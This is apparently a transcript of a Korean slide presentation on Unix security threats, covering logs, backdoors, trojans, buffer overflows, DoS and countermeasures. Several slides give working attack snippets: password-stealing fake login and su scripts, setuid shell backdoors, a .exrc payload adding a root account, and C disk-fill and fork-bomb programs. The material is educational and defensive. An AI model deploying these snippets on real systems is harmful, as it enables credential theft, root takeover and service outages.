한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영

Slides:



Advertisements
Similar presentations
지도교수 : 박진식 교수님 조 원 : 홍승기, 이병용, 백승준, 조근용, 조동현, 한정협, 이상하.
Advertisements

SPARCS 10 이 가 영 기본 UNIX 명령어. 일단 로그인 ! Linux login 시 계정을 입력하거나 root 를 입력 Root -> # 일반 사용자 -> $ 패스워드 : echo 기능을 꺼서 볼 수 없다. 대소문자 구분 패스워드 처음 설정 시 : ~$ passwd.
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
제 4 장 인터넷 창병모 네트워크 구성 2 LAN(Local Area Network) LAN  근거리 통신망으로 집, 사무실, 학교 등의 건물과 같이  가까운 지역을 한데 묶는 컴퓨터 네트워크 이더넷 (Ethernet)  제록스 PARC.
제 8장 데이터 보안.
Basic of Buffer Over Flow
Understanding of Socket and File I/O
공격/대응 Examples.
6 레이스 컨디션.
Linux University of Seoul Computer Science Park Jong wook
프로그램 사용 안내서 프로그램명 : 멤버북.
컴퓨터 네트워크 실습.
운영체제 설정과 취약점 인터넷공학/컴퓨터공학 이수백/허성욱.
제6장 FUSING.
정보 보안 개론과 실습 시스템 해킹과 보안 √ 원리를 알면 IT가 맛있다 ehanbit.net.
디렉토리 다루기 ㅎㅎ 유닉스 파일 시스템 현재 디렉토리 확인 : pwd 디렉토리 이동 : cd
Chapter 32 Analyzing Web Traffic
Dynamic Host Configuration Protocol
Chapter 02. 시스템 보안 : 건강한 시스템이 챙겨야 할 기본
제4장 Cross Compiler 설치.
시스템 로그 분석.
Minicom,tftp,nfs설정,vnc설정
FUSING.
목 차 1. 기 업 현 황 회 사 개 요 2. Finger Police System 개요
Department of Computer Engineering
김승겸 한남대학교 컴퓨터공학과 인공지능 실험실
 13장. 배시쉘 프로그래밍.
윈도우&유닉스 시스템 보안설정 Start! 서화섭.
[beginning] Linux & vi editor
TCP Client/Server Program
Network Lab. Seoung Hyeon, Lee
리눅스 커널의 이해 중에서 1장. 소개 이원구 네트워크 실험실.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
Part 06 보안 1. Windows 보안 2. Linux 보안 3. 해킹 기술 4. 네트워크 장비 보안 5. 해킹 도구.
UNIX Unbounded A Beginning Approach
Men In the Middle, Simple but critical issue.
11. 해킹기술 (2) - hacking & security -
컴퓨터 네트워크 실습.
버퍼 오버플로우 시스템보안 류기환 권재홍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
Embedded System Porting (2)
Department of Computer Engineering
Processing resulting output
제2장 유닉스/리눅스 사용.
시스템 보안 백 도 어 학번: 이름: 김 준 일.
침입탐지시스템과 정보보안 안
Internet Protocol and Programming
Term Project Team Member
1장. 프로그래밍 언어, C 프로그래밍.
Geek-OS Project 정영진
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
DoS와 DDoS 공격 DOS와 DDOS 공격의 이해 DOS 공격의 이해 DDOS 공격의 이해 한빛미디어(주)
1주차: 프로그래밍언어란 무엇인가? C 언어란? C 프로그래밍을 위한 준비
UNIX Internet Server의 대부분을 차지 대표적인 공급업체
6. 파일 관리. pwd(print working directory)와 cd(change directory) ls(list)
제4장 유닉스 쉘 숙명여대 창병모 2011 가을.
멀티 쓰레드 기반의 채팅 프로그램 문성영 김현진 학번 이름 장용하 차희진 연구제안서.
Information Security - Wired Sniffing 실습
FireWall / VPN Solution
네트워크 프로그래밍의 이해 School of Electronics and Information.
Internet Protocol and Programming
시스템 인터페이스 Lab2 X-window 및 명령어 사용.
Unix 방문(접속하여 로그인) 하기 수퍼 유저 되어 사용자 계정 만들기 Unix의 아파치 웹 서버에 홈페이지 등록하기
Department of Computer Engineering
FTZ 과제풀이 Level 11,12 HyunJae Lee
Execution with Unnecessary Privileges
GDB - GNU Debugger 김진용.
Internet Protocol and Programming
제4장 유닉스 쉘 숙명여대 창병모
Data Compression 데이터 압축:음성, 비디오, 팩시밀리 전송등과 같은 경우에 중요
Presentation transcript:

한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영 시스템 보안의 위협과 사례연구 한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영

목 차 unix 보안 보안정책 Unix log files TFTP 해킹유형 해킹절차 백도어 BOMB 장치파일 트로이 목마 백도어와 트로이 목마의 비교 바이러스와 웜의 비교 버퍼 오버플로우 DOS(Denial of Service) 스니핑 스푸핑 DOS의 대응책

UNIX 보안 왜 보안이 중요한가 ? UNIX 디자인은 오픈 환경에 맞춰져 있다. Source 공개 ( WINDOW 와 반대) 왜 보안이 중요한가 ? UNIX 디자인은 오픈 환경에 맞춰져 있다. Source 공개 ( WINDOW 와 반대) 해킹 (또는 크래킹) 툴은 쉽게 구할 수 있다. 보안 허점에 의한 사고 건수 및 비용이 증가하고 있다 전자상거래 의 활성화 Internet 의 발달

보안 정책 보안 정책의 정의 보안의 필요성 인식 무엇을 보호할 것인가? 누구로부터 보호할 것인가? Hardware, Software, Data... 누구로부터 보호할 것인가? 단순해커, 내부직원, 청부업자... 어느 정도까지의 액세스를 허용할 것인가? 방화벽, 암호관리, 모니터링의 수준 보안 침해 도중과 이후의 대응책

Unix Log Files acct 사용자별로 실행되는 모든 명령어를 기록 access_log error_log web server 인 경우 어느 사이트에서 접속하였는지 또는 어떤 file을 download 받았는지에 대한 기록, 그리고 존재하지 않은 file을 download 받았을때 기록. sulog su 명령 사용 내역 기록 utmp 현재 로그인한 각 사용자의 기록 wtmp 사용자의 로그인, 로그아웃 시간과 시스템의 종료 시간, 시스템 시작 시간 등을 기록 xferlog ftp 접근을 기록

Unix Log Files acct file #vi /etc/rc.config.d/acct #/sbin/init.d/acct start #/usr/sbin/acct/acctcms –ta /var/adm/pacct wtmp file #usr/sbin/acct/fwtmp < /var/adm/wtmp > /home/pky/test.wtmp #vi /home/pky #/usr/sbin/acct>./fwtmp -ic < /home/pky.wtmp > /var/adm/wtmp xferlog file #cp /usr/newconfig/etc/ftpaccess /etc/ftpd/ #vi /etc/inetd.conf file

TFTP tftp 정의 #vi /etc/passwd file tftp:*:510:20:trivial ftp:/home/tftp:/usr/bin/false or #vi /etc/inetd.conf file #/usr/sbin/inetd –c tftp의 문제점 user authentication 기능이 없다.

해킹 유형 해킹방법에 따라 - Local attack: Unix system에 계정을 가지고 있는 경우 shell상에서 Unix system의 bug나 security hole을 이용하여 root계정을 획득하는 경우 - Remote attack: Unix system에 계정을 가지고 있지 않는 경우 각종 방법을 동원하여 Unix system상의 계정을 획득하는 경우 - Denial of service: 타겟 시스템이나 타겟 시스템에서 제공하는 서비스를 공격하여 서비스를 불가능하게 하는 경우

Unauthorized Activities 해킹 절차 Target System 정보 수집 Unauthorized Activities Login Prompt User Access Step 1 Step 2 Step 3 Step 4

백도어(Backdoor) 백도어 정의 크래커가 침입한 시스템을 재침입하거나 특권을 쉽게 획득하기 위하여 만들어 놓은 일종의 security hole 혹은 비밀 통로

백도어(setuid) setuid 정의 setuid – 4000, setgid-2000, sticky bit-1000 -r-sr-xr-x 1 root 24756 Mar 11 19:59 usr/bin/passwd #cp /sbin/sh /tmp/test.sh #chmod 4755 /tmp/test.sh find / -user –root –perm 4000 -print

BOMB 루트가 어느날 실수로 mroe fileA를 입력하면, 시스템에는 함정문이 생기게 된다 ‘mroe’ bomb mroe /etc /var /usr contrib bin local bin bin mroe mroe mroe cp /usr/bin/sh /tmp/.sh_$USER chmod 4777 /tmp/sh_$USER /usr/bin/more $*

장치 파일 해커가 who 코맨드를 사용하여 루트가 로그인하고 있는 것을 확인한다. root console Mar 1 11:32 root /dev/pts/ta Mar 2 06:48 해커는 장치파일의 허가권을 확인한다. crw--w--w- 2 root root ….. /dev/ttyp6 그리고, 아래와 같이 어떤 코맨드라도 실행시킬 수 있다. #rm test > /dev/pts/ta

트로이 목마 트로이 목마 정의 정상적인 기능을 하는 프로그램으로 가장하여 프로그램내에 숨어서 의도하지 않은기능을 수행하는 프로그램으로 바이러스와 달리 자기 복제 기능은 없다.

트로이 목마(login) vi /home/pky/login_spoofs #!/usr/bin/sh clear echo "login:\c " read login stty -echo echo "Password:\c " read pw stty echo echo echo "Login: $login Passwd: $pw" | mail pky login:

트로이 목마(su) #vi /home/pky/su_trojan #!/usr/bin/sh stty -echo echo "Passwdord: \c" read x echo "" stty echo echo "Someone used this password: " $1 $2 $X| mail pky & sleep 1 echo su: Sorry rm -rf su

트로이 목마(.exrc) 해커가 루트의 .exrc파일을 다음과 같이 수정한다. !(echo “secret::0:0::/:/bin/ksh” >> /etc/passwd) 루트가 파일을 수정하면, vi file_A /etc/passwd파일에 secret계정이 추가된다. 해커는 수퍼유저 권한을 가진 계정을 사용한다.

백도어와 트로이목마의 비교 백도어와 트로이 목마의 차이점 트로이 목마의 경우 특정 사용자, 혹은 프로그램 실행에 의한 수동적인 방법에 의존하지만 백도어는 일단 시스템 침입에 성공한 후 재침입을 위해 침입자가 직접 설치한다.

바이러스와 웜의 비교 Virus(바이러스)는 주로 한 컴퓨터내에서 다른 프로그램을 감염시켜, 기생하면서 계속해서 자신을 복제하는 프로그램 Worm(웜)은 바이러스와 마찬가지로 자신을 복제하지만, 주로 네트워크를 통하여 자신을 복제하여 다른 컴퓨터로 자신을 전파하는 프로그램

버퍼 오버플로우 정의 C/C++ 컴파일러가 배열의 경계검사(Boundary Check)를 하지 않아 선언된 크기보다 더 큰 데이터를 기록하고 저장된 복귀 주소를 변경함으로써 임의의 코드를 실행

공격의 대상 취약점이 있는 서버 데몬 및 시스템 관리 프로그램 주로 root 소유의 setuid 프로그램 Text Data Stack Local Var. sfp Arguments Return Addr. Shell Code ret Overflow lower memory address higher memory address

버퍼 오버플로우 - 대응책 패치 적용 랩퍼(wrapper) 사용 : 인자(argument) 길이 검사 경계를 검사하는 함수 사용 : fgets(), strncpy(), strncat() 경계를 검사하지 않는 함수 : strcat(), strcpy(), gets(), sprintf(), sscanf()

DOS (Denial of Service) 정의 DoS 방식은 한꺼번에 엄청난 양의 접속 신호를 보내 웹 사이트를 운영하는 「서버」가 가짜 접속 처리를 하느라 실제로 접속하려는 이용자의 요구에 응답하지 못하도록 만드는 것이다. 특징 DOS공격은 인터넷을 통하여 장비나 네트워크을 목표로 공격합니다. DOS공격의 목적은 정보를 훔치는것이 아니라 장비나 네트워크를 를 무력화 시켜서 사용자가 더이상 네트워크 자원을 접근할 수 없게 만듭니다.

DOS(disk full) vi diskfull.c #include <stdio.h> #include <sys/file.h> void main() { int fd; char buf[10000]; fd=open("./hiddenfile", O_WRONLY | O_CREAT, 0777); while(1) write(fd, buf, sizeof(buf)); }

DOS(nproc full) vi nproc.c #nclude <stdio.h> #include <unistd.h> void main() { pid_t pid; while(1) pid=fork(); }

스니핑 (sniffing) client server 도청

스푸핑(spoofing) attacker B A C C

TCP SYN flood IP Address 1 IP Address 2 From:IP Address 1 To: IP Address 2 From:IP Address 2 SYN To: IP Address 1 ACK IP Address 1 From:IP Address 1 To: IP Address 2 ACK IP Address 2

TCP SYN flood IP Address 1 IP Address 2 From:Fake IP Addr To: IP Address 2 From:Fake IP Addr SYN IP Address 2 To: IP Address 2 From:Fake IP Addr SYN To: IP Address 2 From:IP Address 2 SYN To: Fake IP Addr ACK IP Address 1 From:IP Address 2 SYN To: Fake IP Addr ACK From:IP Address 2 SYN To: Fake IP Addr ACK

DOS 대응책 대응책 인증 및 서비스 필터링을 사용한다. 사용자를 인증함으로서, 인증된 사용자만이 메시지를 보낼 수 있다. 또한, 서비스 필터링을 사용하여 메시지의 소스를 감시함으로서, 지정된 파라메타(소스, 헤더 정보, 주제, 크기 등)의 조건에 맞지 않는 메시지를 공격이 끝날 때까지 거부할 수 있다

Thank You !! 해킹